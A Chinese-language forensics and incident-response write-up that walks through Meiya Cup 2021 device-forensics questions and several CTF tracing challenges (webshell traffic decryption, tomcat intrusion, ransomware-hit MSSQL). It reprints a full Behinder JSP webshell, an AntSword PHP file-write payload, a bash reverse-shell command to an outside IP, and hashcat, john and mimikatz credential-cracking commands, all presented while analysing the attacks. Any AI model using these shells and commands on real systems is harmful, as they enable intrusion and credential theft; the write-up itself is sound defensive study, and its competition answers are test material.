需要使用plist编辑器进行查看:

image-20250317232127262

31.[多选题] 阿力士iphone 12 pro内以下哪一张相片是实况相片(live Photos)?

A. IMG_0011.HEIC
B. IMG_0010.HEIC
C. IMG_0012.HEIC
D. IMG_0009.HEIC

image-20250317232356135

ABD都有相关的实况视频匹配相片

或:

来到图片的存储路径:

image-20250317232606709

image-20250317232616857

ABD都有匹配的动态小视频

32.[单选题] 以下哪一个是阿力士iphone 12 pro可能曾经连接的装置名称?

A. Chris’s MacBook Pro
B. Chirs’s iPhone
C. Chirs’s Computer
D. Chirs’s Linux

image-20250317232912539

33.[单选题] 接上题,记录连接时间是什么时候(UTC+8)?

A. 2021年10月21日 00:58:01
B. 2021年10月21日 08:58:01
C. 2021年10月21日 00:58:29
D. 2021年10月21日 08:58:29

image-20250317233054315

34.[多选题] 阿力士iPhone XR中在软件WhatsApp中工地主管与阿力士的对话中曾提到:[佢叫我俾钱喎,BTC係唔係呢个啊?]。在进行电子数据取证分析后,以下哪一个是有可能关于此对话的正确描述?

A. 此对话被Kariser Lee删除
B. 此对话的附件为一张图片文件
C. 此对话被Alex Chan 删除
D. 此对话是引用Alex Chan 回复

分析检材:阿力士移动电话(3)的电子数据,路径:\Individual\Meiya Cup 2021 (individual)\image\Alex\Alex iPhone XR

image-20250318101129890

image-20250318100742700

再由之前第七题的分析可知

image-20250318101109289

按理说应该是ABC,但不知道为啥答案是AB(难道说案发后Kariser Lee不想被发现两人之间有比特币交往因此偷偷删掉了两台手机的记录……?)

(待补充)

被引用的消息长这样:

image-20250318101524841

35.[填空题] 阿力士iPhone XR的WhatsApp对话中,阿力士曾要求工地主管支付多少个BTC? (请以阿拉伯数字回答)

由上题分析可知

36.[多选题] 阿力士iPhone XR中 “IMG_0056.HEIC”的图像与"5005.JPG"(MD5: 96c48152249536d14eaa80086c92fcb9)” 看似为同一张相片,在电子数据取证分析下,以下哪样描述是正确?

A. 储存在不同的.db 里
B. 有不同哈希值
C. IMG_0056.HEIC 为原图,5005.JPG(MD5: 96c48152249536d14eaa80086c92fcb9)为缩略图
D. IMG_0056.HEIC 曾被开启过,所以在IOS系统中创建了缩略图5005.JPG(MD5: 96c48152249536d14eaa80086c92fcb9)

A.都存储在/mobile/Media/PhotoData/Photos.sqlite

IMG_0056.HEICZASSET(存储照片/视频的元数据)数据表中:

image-20250318103856006

5005.jpgZADDITIONALASSETATTRIBUTES(存储缩略图)数据表中(没有文件名,但Z_PK索引相同):

image-20250318104945378

B. 有不同哈希值

image-20250318102606781

image-20250318102636151

C.IMG_0056.HEIC 为原图,5005.JPG(MD5: 96c48152249536d14eaa80086c92fcb9)为缩略图

D.IMG_0056.HEIC 曾被开启过,所以在IOS系统中创建了缩略图5005.JPG(MD5:96c48152249536d14eaa80086c92fcb9)

IMG_0056.HEIC的创建时间与访问时间相同,因此没有被打开过

37.[多选题] 阿力士iPhone XR中相片檔IMG_0056.HEIC提供了什么电子数据取证的信息?

A. 此相片是由隔空投送 (Airdrop)得来
B. 此相片由iPhone XR拍摄
C. 此相片的拍摄时间为2021-10-21 17:45:48(UTC+8)
D. 此相片的拍摄时间为2021-09-08 17:35:00(UTC+8)

image-20250318105200816

相机型号与本机不符,因此是投送来的。

并且由创建日期作为拍摄日期进行分析。

38.[单选题] 阿力士iPhone XR中阿力士的电邮账户Alexc19851016@gmail.com的密码有可能是什么?

A. Ac19851016
B. Alex1985!
C. Aa475869!
D. 以上皆非

image-20250318110340103

阿力士吧自己的密码写在备忘录里面了

39.[填空题] 阿力士iPhone XR曾经连接Wifi “Alex Home”的密码是什么? (请以英文全大写及阿拉伯数字回答)

设备连接中没有WIFI记录

在密码中寻找:

image-20250318110547542

40.[单选题] 阿力士iPhone XR经iCloud备份的最后时间是什么?(UTC+8)?

A. 2021-10-21 17:51:38(UTC+8)
B. 2021-10-21 18:02:13 + (UTC+8)
C. 2021-10-21 09:51:38(UTC+8)
D. 2021-10-21 10:02:13 + (UTC+8)

image-20250318125557076

但是答案错误,一说是查看iCloud的数据库Apple_iPhoneXR(A2105).zip/BackupService/00008020-0005106602D3002E/Snapshot/Manifest.plist分析:

image-20250318125821566

image-20250318131623030

但是时间也对不上

最终是时区错误,要加上8小时

2021-10-21T09:51:38.000+00:00即为2021-10-21 17:51:38(UTC+8)

41.[填空题] 阿力士iPhone XR中的iBoot版本是iBoot-[______]? (请以阿拉伯数字回答,不用轮入".")

iBoot苹果 iOS 设备的引导加载程序(Bootloader),主要负责 启动 iOS 操作系统。它是 iOS 设备安全机制的重要组成部分,负责 加载内核执行安全检查,确保设备只能运行经过苹果认证的代码。

image-20250318132043796

PhoneInfo.xml 是 iPhone 设备在 Lockdown Service(锁定服务) 目录下的一个 XML 配置文件,通常用于存储与设备相关的信息,例如 设备唯一标识符(UDID)、iOS 版本、硬件信息 等。

42.[多选题] 阿力士iPhone XR中的WhatsApp群组『团购-新鲜猪肉牛肉-东涌群组-9/30』有以下哪一个成员?

A. 85260617332@s.whatsapp.net
B. 85260452579@s.whatsapp.net
C. 85248791565@s.whatsapp.net
D. 85264630956@s.whatsapp.net

image-20250318133607007

43.[单选题] 阿力士的计算机显示曾于hongkongcard.com 的论坛登记成为会员,以下哪个是他的帐户密码?

A. Aa475869!
B. Bb475869!
C. Cd475869!
D. 以上皆非

分析检材:阿力士计算机的电子数据,路径:\Individual\Meiya Cup 2021 (individual)\image\Alex\Alex_Windows_Computer

在相关浏览记录中分析:

image-20250318134454469

加上第38题分析得到的密码备忘录,账户相同,其密码与第38题的密码相同

44.[单选题] 阿力士的计算机显示阿力士曾用什么方法进入受害者(主管)的计算机?

A. 远程操控
B. 特洛伊木马程序
C. 勒索软件
D. 恶意软件

就算不看相关内容也能根据前面的分析看出阿力士曾以维修的名义向主管要远控ID

image-20250318134922875

image-20250318134932788

45.[单选题] 续上题,阿力士最后一次进入受害者(主管)计算机的时间是什么?

A. 于2021年10月18日 10时36分
B. 于2021年10月18日18时36分
C. 于2021年10月18日6时53分
D. 于2021年10月18日18时42分

由上题分析可知

46.[填空题] 阿力士的计算机显示他曾经使用FTP程序,FTP的主机IP地址是什麼?(请以亚拉伯数字作答,省去"."符号)

由第11题分析可知

或分析阿力士计算机的内容:

image-20250318135226744

47.[填空题] 阿力士的计算机显示于2021年9月至2021年11月期间,计算机曾被登入过多少次? (请以阿拉伯数字回答)

image-20250318135523028

48.[填空题] 阿力士计算机所安装的Microsoft Office 2007 是以下哪一个版本? (请以亚拉伯数字作答,省去"."符号)

image-20250318135617249

49.[填空题]以下是阿力士计算机中的Basic data partition (EFI 3) 的Volume ID?(请以英文全大写及阿拉伯数字回答)

在 Windows 和 macOS 设备上,Basic Data PartitionGPT(GUID Partition Table)分区格式下的一种标准分区类型。

Volume ID(卷标 ID)是 Windows 和某些文件系统中用来唯一标识磁盘分区的一个值。

将虚拟磁盘挂载后使用DiskGenius查看卷序列号:

image-20250318140327607

50.[填空题] 阿力士计算机的Window product ID是什么? (请以英文全大写及阿拉伯数字回答,不用输入"-")

image-20250318140500556

51.[单选题] 阿力士计算机曾经下载一张猴子的图片,以下哪一项描述正确?

A. 该图片是由 "https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcSgn6ABvcqTfFPjcIbjc9hdx1H4PtQsAuVyTQ&usqp=CAU"下载的
B. 该图片经过加密
C. 该图片于2021-09-30 下载
D. 该图片是由GIF档转换成PNG檔

A.查看下载记录,寻找下载的文件:

image-20250318141515092

image-20250318141541884

52.[填空题] 阿力士计算机所安装的Microsoft Office 2007 的密钥是甚么? (请以英文全大写及阿拉伯数字回答,不用输入"-")

Microsoft Office密钥文件路径:\Microsoft Office Pro Plus 2007 Chinese\License Key.txt

image-20250318142211540

image-20250318141938055

53.[单选题] 阿力士FTP 服务器用户使用命令行安装了甚么程序?

分析检材:阿力士FTP 服务器的电子数据,路径:\Individual\Meiya Cup 2021 (individual)\image\Alex\FTP

A. Docker
B. Chrome
C. FileZilla
D. TeamViewer

思路一:

image-20250318143138850

思路二:

image-20250318142315023

54.[多选题] 以下哪些档案于阿力士FTP 服务器曾重复出现?

A. Material1
B. Material2
C. Material3
D. Staff1
E. Staff2
F. Staff3

善用搜索:

image-20250318142612916

image-20250318142649208

image-20250318142727065

55.[填空题] 在阿力士FTP服务器中,文件夹___曾被用户变更了访问权限(请以英文全大写及阿拉伯数字回答)

image-20250318142916899

遇到这种题直接搜索关键词chmod

然而答案并不是英文全大写,答案就是Dangerous_Project

56.[填空题] 在阿力士FTP 服务器建设后,有 ___ 个额外用户被加入 (请以阿拉伯数字回答)

linux增加用户命令:useraddpure

image-20250318143415445

添加了用户wai

57. [单选题] 根据阿力士FTP服务器设定显示,此服务器是以___方式连接网络,且是一个___网络状态

A. 无线 , 公开
B. 无线 , 私人
C. 有线 , 公开
D. 有线 , 私人

image-20250318143641125

可以看到Wired Connection为有线

IPv4地址为公网地址,因此为公开的网络状态

网上WP有些说跳转到原配置文件会发现IPv6为Private私有地址

image-20250318144231365

如果服务器的 IPv4 地址是公网地址,但 IPv6 地址是私有地址(Private),那么网络状态仍然可以是公开的,但要具体分析

毕竟IPv6还没有应用那么广泛对吧……?

58.[填空题] 阿力士FTP 服务器设定最多使用者数目是 ___ (请以阿拉伯数字回答)

需要看ftp的配置文件,所以使用正则表达式查找*ftp*.conf文件:

image-20250318144802206

image-20250318144946902

59.[填空题]阿力士FTP服务器使用Docker安装了一个FTP程序为___。(例如 space docker/1.1,请输入spacedocker/1.1,不要输入空格)

image-20250318145058178

60.[多选题] 阿力士FTP 服务器曾使用过甚么版本的Linux内核?

A. linux-headers-5.11.0-16
B. linux-headers-5.11.0-17
C. linux-headers-5.11.0-36
D. inux-headers-5.11.0-37
E. linux-headers-5.11.0-40

image-20250318145235868

61.[多选题] 阿力士FTP 服务器的磁盘分区,有以下哪一种文件系统?

A. FAT16
B. FAT32
C. ExFAT
D. HFS+
E. Ext4

image-20250318145507836

image-20250318145521594

62.[填空题] 阿力士FTP服务器用户输入了指令 ___ 去检查现存的Docker容器 (例如 netstat lntp,请输入 netstatlntp,不要输入空格)

image-20250318145717106

这有两种指令去检查现存的Docker容器,正确答案是dockercontainerps-a

2020校赛弘连杯

暂时没有更新检材,跳过。

应急响应专栏

linux-basic-command

获取2015年访问请求 排名前五的ip地址
格式:flag{ip1,ip2,ip3,ip4,ip5}

使用脚本:

from collections import Counter
import re

# 读取 access.log 文件
log_file = "access.log"

# 正则表达式匹配 IP 地址
ip_pattern = re.compile(r'\b(?:\d{1,3}\.){3}\d{1,3}\b')

# 统计 IP 频次
ip_counter = Counter()

with open(log_file, "r", encoding="utf-8") as f:
    for line in f:
        match = ip_pattern.search(line)
        if match:
            ip_counter[match.group()] += 1

# 输出统计结果
for ip, count in ip_counter.most_common():
    print(f"{ip}: {count}")

image-20250319155919461

或者使用awk进行分析:

awk '{print $1}' access.log |sort|uniq -c > 1.csv

然后按大小排序分析:

image-20250319152659191

ire7-windows-log

请分析windows日志文件winlog.evtx,并从中找到key信息。

事件查看器进行分析(按照ID排序):

image-20250319160906176

wireshark0

某日接到客户应急需求,客户连接工业控制系统的核心网络设备遭到入侵,初步推测可能是网络设备的远程登录密码被破解,请通过对给出的流量包分析,得到黑客登录网络设备后窃取的机密数据key1。

flag为8位长度字符串

协议分级,根据题目背景优先分析telnet远控协议:

image-20250319162347179

image-20250319162431797

前面都是登录失败的流量,找到登录成功的:

image-20250319162527431

image-20250319162607952

wireshark0.5

下列抓包⽂件中包含了⽤户登录⽹站过程,请找出⽤户登录⽹站的明⽂密码。格式flag{密码}

登录网站的过程优先分析HTTP流来寻找:

image-20250319164128739

linux-log

有一台服务器遭到了黑客的入侵,请下载日志,并从中分析出黑客的 IP 地址,并将黑客登录操作系统的时间作为 flag 值提交(注:提交的日期时间格式为 flag{HHMMSS})。

打开日志,搜索登录操作系统成功的关键词accepted

image-20250319165330847

wireshark1

请分析可疑流量并找到key信息

请提交8位长度字符串

流量非常大,尝试过滤分析http流,搜索key关键词,找到传输的压缩包:

image-20250319174650579

压缩包是网站的源文件备份,里面藏着key:

image-20250319174740098

在排除了伪加密的情况后,进行爆破的同时在流量中寻找解压密码(搜索关键词):

image-20250319174941308

成功解压得到key

welog1

请根据日志分析攻击者写入的木马的连接密码,提交格式为:flag{xxxxx}

大部分是404的记录,我们只关注200的记录:

image-20250319175813137

找到奇怪的GET请求,进行URL解码:

image-20250319175907110

再解码:

image-20250319175926385

wireshark2.1

在企业网络中,总有部分系统管理员为了方便文件共享就直接在服务器上搭建FTP、NFS等服务。因为,系统管理员对文件访问权限设置的不合理,用户存在弱密码等原因,给黑客留下了可乘之机。好在全流量监控平台可以截获黑客窃取的这部分敏感数据,应急响应人员后期便可根据泄漏信息的重要程度来制定不同等级的应急响应预案。在该台服务器上便发生过FTP数据窃取事件,请通过分析得出黑客窃取的敏感数据key4的值。(key4为8位随机数字和字母构成的字符串) 注释:全流量监控平台抓取的此次数据泄漏事件的流量包capture.pcap存放在FTP服务的日志目录下面。 解压缩密码 +X:K1T}

此题附件为FTP数据窃取流量,因此优先分析FTP协议内容:

image-20250319205516050

加密的压缩包,尝试寻找密码:

image-20250319205749776

解压密码也在FTP服务器中,但是没有传输记录因此找不到

最后再仔细看看题目介绍就能找到解压密码了……

data-recovery

data.img 文件为硬盘镜像副本,请恢复该硬盘中的文件,寻找 Flag

恢复硬盘文件使用磁盘精灵:

image-20250319211820476

恢复成功从无需密码的RAR中得到flag

wireshark2

从网络通信方式的层面看,后门可以被分为http/https类型、irc类型、icmp类型、dns类型等。在某次应急响应行动中,安全人员抓到了一份可疑的流量包,请从流量包中分析出通过某种特殊协议传输的敏感数据key1的值。

ICMP 协议被用作信息通道,可能是某个恶意程序或攻击者利用 ping 进行数据传输:

image-20250319212204809

image-20250319212415794

即可得到key

另一个流量包中隐藏着的flag藏在ICMP协议报文内容中,是藏头诗

wireshark3

分析HTTP流,可以发现有f1aG1.zipf1aG2.zipf1aG3.zipf1aG4.zipf1aG5.zip的传输,并且还有一个密码文件:

image-20250319213142670

尝试手动导出ZIP文件,只有f1aG5.zip加密了,解密即可得到flag

2024长城杯决赛-溯源取证

您的同事李白在运维一台部署了移动应用服务端的linux服务器时发现了异常,好像被黑客攻击了。小李通过简单分析,发现可能是由于公司的移动应用和其服务端程序都存在安全问题导致的。小李将当天可能与攻击相关的流量导出,并与移动应用一起打包压缩,你可以下载分析,也可以登录此服务器进行攻击溯源、排查等,提供了SSH和VNC访问的方式供您和您的团队进行分析取证。

条件限制,没有靶机,但是用流量包也可以做

关卡1

关卡描述:黑客攻击此服务器所使用的2个IP分别是什么(ascii码从小到大排列,空格分隔)

image-20250320105429179

从传马的流量和会话统计可以推测出202.1.1.1为攻击者IP,202.1.1.66为http服务器

IP 地址 作用 说明
239.255.255.250 SSDP 多播 设备发现(UPnP)
202.1.1.254 可能是网关 具体用途需检查网络环境
224.0.0.251 mDNS 多播 Bonjour、ZeroConf 设备发现
202.1.1.255 可能是广播地址 202.1.1.0/24 网段内的广播

剩下202.1.1.129202.1.1.130,查看流量继续分析:

image-20250320110206180

可以发现202.1.1.130作为服务端回传了关键信息给202.1.1.129

关卡2

存在安全问题的apk中使用的登录密码是什么?

继续分析流量,若寻找登录密码最好从POST请求开始查询:

http.request.method == "POST"

然后搜索相关关键词如pass

image-20250320112137757

或者逆向分析apk查找应用主入口

image-20250320115443026

关卡3

关卡描述:黑客尝试上传一个文件但显示无上传权限的文件名是什么?

继续分析POST请求内容,注意关键词upload寻找上传文件api或页面:

http.request.uri contains "upload"

image-20250320114750517

追踪流即可找出上传的文件名:

image-20250320144018544

关卡4

关卡描述:黑客利用的漏洞接口的api地址是什么?(http://xxxx/xx)

找到传马成功的流量:

image-20250320144608554

追踪流:

image-20250320144703274

答案:http://202.1.1.66:8080/api/upload

关卡5

关卡描述:黑客上传的webshell绝对路径是什么?

参考文章:第一届长城杯铁人三项赛-决赛 | Y0ung's Blog

这里需要有服务器才能找出webshell绝对路径

不然由上题分析只有相对路径/static服务器路径并不是/var/www/html/

img

答案:/usr/local/tomcat/webapps/ROOT/static/s74e7vwmzs21d5x6.jsp

关卡6

关卡描述:黑客上传的webshell的密码是什么?

分析关卡4上传的冰蝎马:

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%! 
    // 自定义类加载器 U,继承自 ClassLoader
    class U extends ClassLoader {
        // 构造方法,接受父类加载器
        U(ClassLoader c) { 
            super(c); 
        }

        // 通过 defineClass() 方法将字节码数组转换为 Java 类
        public Class g(byte[] b) { 
            return super.defineClass(b, 0, b.length); 
        }
    }
%>

<%
    // 检查请求是否带有 "bing_pass" 参数
    if (request.getParameter("bing_pass") != null) {
        // 生成一个 16 字节的 AES 密钥
        String k = ("" + UUID.randomUUID()).replace("-", "").substring(16);
        
        // 将密钥存入 Session 变量 "u"
        session.putValue("u", k);

        // 将密钥返回给客户端,供后续 AES 加密使用
        out.print(k);
        return; // 结束请求
    }

    // 初始化 AES 解密对象
    Cipher c = Cipher.getInstance("AES");

    // 获取存储在 Session 中的密钥,并创建 AES 密钥对象
    c.init(2, new SecretKeySpec((session.getValue("u") + "").getBytes(), "AES"));

    // 读取请求体内容(假设是 Base64 编码的 AES 加密数据),并进行解密
    byte[] decryptedData = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()));

    // 使用自定义类加载器 U 加载解密后的 Java 字节码
    Class<?> loadedClass = new U(this.getClass().getClassLoader()).g(decryptedData);

    // 通过反射创建实例,并调用 equals() 方法
    loadedClass.newInstance().equals(pageContext);
%>

冰蝎马运行过程:

1. 生成 AES 密钥

  • 如果请求中带有 bing_pass参数:
    1. 生成一个 16 字节 的随机 AES 密钥。
    2. 存入 session["u"],用作加密/解密密钥。
    3. 返回密钥给客户端,攻击者可以使用它来加密 payload。

2. 远程代码执行

  • 读取 HTTP 请求体,获取 Base64 编码 的 AES 加密数据。
  • 用 Session 中存的密钥解密,还原 Java 类的字节码。
  • 通过 U 类加载器动态加载字节码,并执行 equals() 方法(可能包含恶意代码)。

关卡7

关卡描述:黑客通过webshell执行的第一条命令是什么?

继续分析与木马相关流量:

http.request.uri contains "s74e7vwmzs21d5x6.jsp"

image-20250320150012248

前两条是向服务端传输AES密钥的流量,下面的才是执行的第一条命令:

image-20250320152317779

使用蓝队分析工具对冰蝎马进行解密(项目地址:abc123info/BlueTeamTools: 蓝队分析研判工具箱,功能包括内存马反编译分析、各种代码格式化、网空资产测绘功能、溯源辅助、解密冰蝎流量、解密哥斯拉流量、解密Shiro/CAS/Log4j2的攻击payload、IP/端口连接分析、各种编码/解码功能、蓝队分析常用网址、java反序列化数据包分析、Java类名搜索、Fofa搜索、Hunter搜索等。):

image-20250320152411103

可以发现第一条命令为pwd

关卡8

关卡描述:黑客获取webshell时查询当前shell的权限是什么?

继续分析流量,找到执行whoami请求流量:

image-20250320153507382

将返回流量进行解密:

image-20250320153432544

关卡9

关卡描述:利用webshell查询服务器Linux系统发行版本是什么?

继续分析流量:

image-20250320155753338

返回包:

image-20250320160613669

关卡10

关卡描述:黑客从服务器上下载的秘密文件的绝对路径是什么?

image-20250320161014249

可以发现秘密文件为secret.file,对相关请求流量进行分析:

image-20250320161202520

关卡11

关卡描述:黑客通过反连执行的第一条命令是什么?

寻找反弹shell建立后的流量:

image-20250320161839469

追踪TCP流:

image-20250320162003427

不知道为什么答案是第二条命令cat /etc/passwd

关卡12

关卡描述:黑客通过什么文件修改的root密码(绝对路径)

image-20250320162211001

关卡13

关卡描述:黑客设置的root密码是多少?

使用hashcat进行爆破解密(将密码hash值存入1.txt中):

hashcat -m 1800 -a 0 -o cracked.txt 1.txt rockyou.txt

image-20250320164624233

或者用john:

john --wordlist=rockyou.txt 1.txt

image-20250320164457688

关卡14

关卡描述:黑客留下后门的反连的ip和port是什么?(ip:port)

由关卡11分析可知黑客的监听IP和端口为202.1.1.129:4444,但并不是留下后门的反连ip和port

端点分析,过滤202.1.1.129IP进行分析:

image-20250320165607246

可以发现反连端口为9999

或者

参考文章:第一届长城杯信息安全铁人三项赛决赛 取证溯源 wp - Dr0n's blog第一届长城杯铁人三项赛-决赛 | Y0ung's Blog

观察Linux 系统日志(/var/log/cron /var/log/messages):

img

或定时任务crontab -e

img

关卡15

关卡描述:黑客通过后门反连执行的第一条命令是什么?

image-20250320190545921

RPM(Red Hat Package Manager) 维护的已安装软件包中 查找包含 "pam" 的软件包

pam(Pluggable Authentication Modules):Linux 可插拔认证模块,控制身份验证。

关卡16

原文地址:第一届长城杯信息安全铁人三项赛决赛 取证溯源 wp - Dr0n's blog

关卡描述:黑客通过什么文件留下了后门?

根据上一题的命令去搜索pam相关文件

找到/usr/lib/security/pam_unix.so/usr/lib64/security/pam_unix.so

存在后门

img

关卡17

关卡描述:黑客设置的后门密码是什么?

继续往下走,直接看到密码

img

关卡18: 250 分

关卡描述:黑客的后门将root密码记录在哪个文件中?(绝对路径)

继续向下

img

流量特征分析-常见攻击事件 tomcat - From 玄机

tomcat-1

在web服务器上发现的可疑活动,流量分析会显示很多请求,这表明存在恶意的扫描行为,通过分析扫描的行为后提交攻击者IP flag格式:flag{ip},如:flag{127.0.0.1}

随便翻翻一篇红色和灰色,这是nmap正在扫描端口发送的TCP握手请求:

image-20250320194332704

tomcat-2

找到攻击者IP后请通过技术手段确定其所在地址 flag格式: flag{城市英文小写}

image-20250320195150707

tomcat-3

哪一个端口提供对web服务器管理面板的访问?flag格式:flag{2222}

使用以下过滤语句查看nmap扫描开放端口:

tcp.flags.reset ==1 && tcp.flags.ack == 0

image-20250320195449808

22是ssh服务,查看8080端口传输的流量并搜索关键词:

image-20250320200013630

tomcat-4

经过前面对攻击者行为的分析后,攻击者运用的工具是?flag格式:flag{名称}

追踪流分析:

image-20250320200745487

tomcat-5

攻击者拿到特定目录的线索后,想要通过暴力破解的方式登录,请通过分析流量找到攻击者登录成功的用户名和密码?flag格式:flag{root-123}

分析追踪流,发现已成功获取反弹shell的流量:

image-20250320201405426

往前分析,发现前面的http请求中有Authorization请求头用于携带身份验证凭据:

image-20250320201651455

image-20250320201707579

tomcat-6

攻击者登录成功后,先要建立反弹shell,请分析流量提交恶意文件的名称?flag格式:flag{114514.txt}

由上题分析,反弹shell前的流量极有可能是恶意文件

tomcat-7

攻击者想要维持提权成功后的登录,请分析流量后提交关键的信息?flag提示,某种任务里的信息

根据上上题的分析,可以看出反弹shell命令中有持久化反弹shell的命令

/bin/bash -c 'bash -i >& /dev/tcp/14.0.0.120/443 0>&1'

流量特征分析-蚁剑流量分析 - From 玄机

蚁剑流量分析-1

木马的连接密码是多少
答案格式:flag{密码}

分析http流:

image-20250320202615580

image-20250320202749682

标准蚁剑生成的马,利用的密码参数1就在开头

蚁剑流量分析-2

黑客执行的第一个命令是什么

思路一:追踪HTTP流可以分析:

image-20250320203837115

第一条回显的是2c3f5uid=33(www-data) gid=33(www-data) groups=33(www-data)

可以推测第一条指令是id

思路二:解码请求数据

image-20250321095744672

image-20250321095828484

一些 WebShell 工具(如蚁剑)在传输数据时,可能会包含额外的头部信息,比如控制字符、分隔符或者其他标识符。蚁剑会在编码前加两位随机生成的字符,因此开始位置为2.

蚁剑流量分析-3

黑客读取了哪个文件的内容,提交文件绝对路径

image-20250321100056452

image-20250321100200440

蚁剑流量分析-4

黑客上传了什么文件到服务器,提交文件名

image-20250321100528269

image-20250321100510710

蚁剑流量分析-5

黑客上传的文件内容是什么

将流量传输内容进行美化:

image-20250321100737910

1 = @ini_set("display_errors", "0");
@set_time_limit(0);
$opdir = @ini_get("open_basedir");
if ($opdir)  {
    $ocwd = dirname($_SERVER["SCRIPT_FILENAME"]);
    $oparr = preg_split(base64_decode("Lzt8Oi8="), $opdir);
    @array_push($oparr, $ocwd, sys_get_temp_dir());
    foreach($oparr as $item) {
        if (!@is_writable($item))  {
            continue;
        };
        $tmdir = $item."/.368479785";
        @mkdir($tmdir);
        if (!@file_exists($tmdir))  {
            continue;
        }

        $tmdir = realpath($tmdir);
        @chdir($tmdir);
        @ini_set("open_basedir", "..");
        $cntarr = @preg_split("/\\\\|\//", $tmdir);
        for($i = 0;
        $i < sizeof($cntarr);
        $i++) {
            @chdir("..");
        };
        @ini_set("open_basedir", "/");
        @rmdir($tmdir);
        break;
    };
};;
function asenc($out) {
    return $out;
};
function asoutput() {
    $output = ob_get_contents();
    ob_end_clean();
    echo "6960"."cb205";
    echo @asenc($output);
    echo "1e0a"."91914";
}

ob_start();
try {
    $f = base64_decode(substr($_POST["t41ffbc5fb0c04"], 2));
    $c = $_POST["ld807e7193493d"];
    $c = str_replace("\r", "", $c);
    $c = str_replace("\n", "", $c);
    $buf = "";
    for($i = 0;
    $i < strlen($c);
    $i += 2)$buf .= urldecode("%".substr($c, $i, 2));
    echo(@fwrite(fopen($f, "a"), $buf)?"1":"0");;
} catch(Exception $e) {
    echo "ERROR://".$e -  > getMessage();
};
asoutput();
die();
&ld807e7193493d = 666C61677B77726974655F666C61677D0A
&t41ffbc5fb0c04 = 0ZL3Zhci93d3cvaHRtbC9mbGFnLnR4dA == 

最后一段就是上传文件的内容,进行解码:

image-20250321100916151

蚁剑流量分析-6

黑客下载了哪个文件,提交文件绝对路径

image-20250321100956157

solar杯

挂载/解压密码: KzXGabLkDjs&j@3a&fAayNmD

参考文章:【官方WP】第一届solar杯·应急响应挑战赛官方题解

1.1日志流量

题目文件:tomcat-wireshark.zip/web新手运维小王的Geoserver遭到了攻击:黑客疑似删除了webshell后门,小王找到了可能是攻击痕迹的文件但不一定是正确的,请帮他排查一下。

GeoServer 是一个 开源地理信息服务器(GIS Server),用于发布、共享和管理地理空间数据。它允许用户通过标准的网络协议(如 WMS、WFS、WMTS、WCS)来访问和操作空间数据。

进行流量分析,发现木马b.jsp

image-20250321123342255

在给出的网站根目录中也能找到这个木马文件:

image-20250321123525386

当访问 JSP 页面时,Tomcat 会根据 JSP 页面动态生成一个 Java 类(.java),然后将其编译为 .class 文件。生成的 .class 文件是 Tomcat 用来处理请求并返回响应的实际代码。

这个过程是动态的,

Tomcat 会在后台管理这些文件的编译和更新。路径一般为:<Tomcat_home>/work/Catalina/<host>/<webapp>/org/apache/jsp/

找到b_jsp.class可以发现是哥斯拉自动生成的webshell木马:

image-20250321123732034

哥斯拉webshell特征:

选择默认脚本编码生成的情况下,jsp会出现xc,pass字符和Java反射(ClassLoader,getClass().getClassLoader()),base64加解码等特征

xc:AES 加密密钥(16 字节)

在整个 b.jsp 文件中,code 变量只是被定义了,但并没有被直接使用,也没有被传递给任何方法或函数。

进行解码:

image-20250321124359961

1.2日志流量

题目文件:tomcat-wireshark.zip/web 新手运维小王的Geoserver遭到了攻击:小王拿到了当时被入侵时的流量,其中一个IP有访问webshell的流量,已提取部分放在了两个pcapng中了。请帮他解密该流量。flag格式 flag{xxxx}

对流量进行过滤分析:

http.request.full_uri contains "b.jsp"

image-20250321125123997

根据得到的密钥使用蓝队工具进行解密:

image-20250321125235473

找到读取flag.txt的流量:

image-20250321125811551

对返回包进行解密:

image-20250321130033947

1.3日志流量

题目文件:tomcat-wireshark.zip/web 新手运维小王的Geoserver遭到了攻击:小王拿到了当时被入侵时的流量,黑客疑似通过webshell上传了文件,请看看里面是什么。使用流量解密工具进行解密流量并删除无用部分后另存为pdf。

image-20250321130456524

可以发现上传的PDF文件,我们对其进行导出即可得到flag:

image-20250321132735852

(目前没有找到有什么可以直接进行导出的工具,这里用的是puzzlesolver-pro)

image-20250321134811036

用cyberchef的话就需要删除HEX前面不必要的部分,但我不知道如何分辨哪里必要哪里不必要:

image-20250321135103559

2.1数据库

请找到攻击者创建隐藏账户的时间flag格式 如 flag{2024/01/01 00:00:00}

检材:mssql.7z

上取证大师分析虚拟磁盘:

image-20250321141224311

或者仿真虚拟机后(绕过登录密码)分析安全日志,重点分析4720事件:

image-20250321142214543

为了获取密码,也可以:

找到对应的SAM文件及SYSTEM文件后(Windows\System32\config\SAMWindows\System32\config\SYSTEM)复制到我们物理机桌面,之后使用mimikatz提取密码,如下所示

privilege::debug
lsadump::sam/sam:SAM/system:SYSTEM

img

提取出来的登陆密码a29f7623fd11550def0192de9246f46b如下所示,我们解密即可

img

参考文章:2024第一届Solar杯应急响应挑战赛wp_solar应急响应wp-CSDN博客

2.2数据库

请找到恶意文件的名称 flag格式 如 flag{.}

打开任务管理器对进程进行分析:

image-20250321143515981

image-20250321183133395

官方WP是用安全软件自动检测……

那么可以用包含本地病毒库的杀毒软件(如360、火绒等)进行分析(全盘扫描非常耗时……)

image-20250321202225736

在相关目录中找到该软件……

2.3数据库

请找到恶意文件的外联地址 flag格式 如 flag{1.1.1.1}

在恶意文件的配置config.json文件中可以看到外联的url为“sierting.com”:

image-20250321195801077

dns解析得到外联地址IP

image-20250321200025670

或者用火绒剑在网络选项中进行分析……

2.4数据库

请修复数据库flag格式 如 flag{xxxxx}

仿真系统桌面上能看到这些:

image-20250321200254603

主机感染了勒索病毒,由于加密程序可能只对文件部分内容进行篡改,则可能在数据库文件恢复到部分数据。通过分析数据库的本地文件在C:\Program Files\Microsoft SQL Server\MSSQL13.MSSQLSERVER\MSSQL\DATA\中:

image-20250325101230468

数据库都被勒索软件修改并添加上了.X3rmENR07后缀,首先将后缀删除

import os

def remove_last_extension(folder_path):
    for filename in os.listdir(folder_path):
        file_path = os.path.join(folder_path, filename)
        if os.path.isfile(file_path):  # 确保是文件而不是文件夹
            new_name = '.'.join(filename.split('.')[:-1])  # 去掉最后一个后缀
            if new_name:  # 避免空文件名
                new_path = os.path.join(folder_path, new_name)
                os.rename(file_path, new_path)
                print(f'Renamed: {filename} -> {new_name}')

if __name__ == "__main__":
    folder = input("请输入要处理的文件夹路径: ").strip()
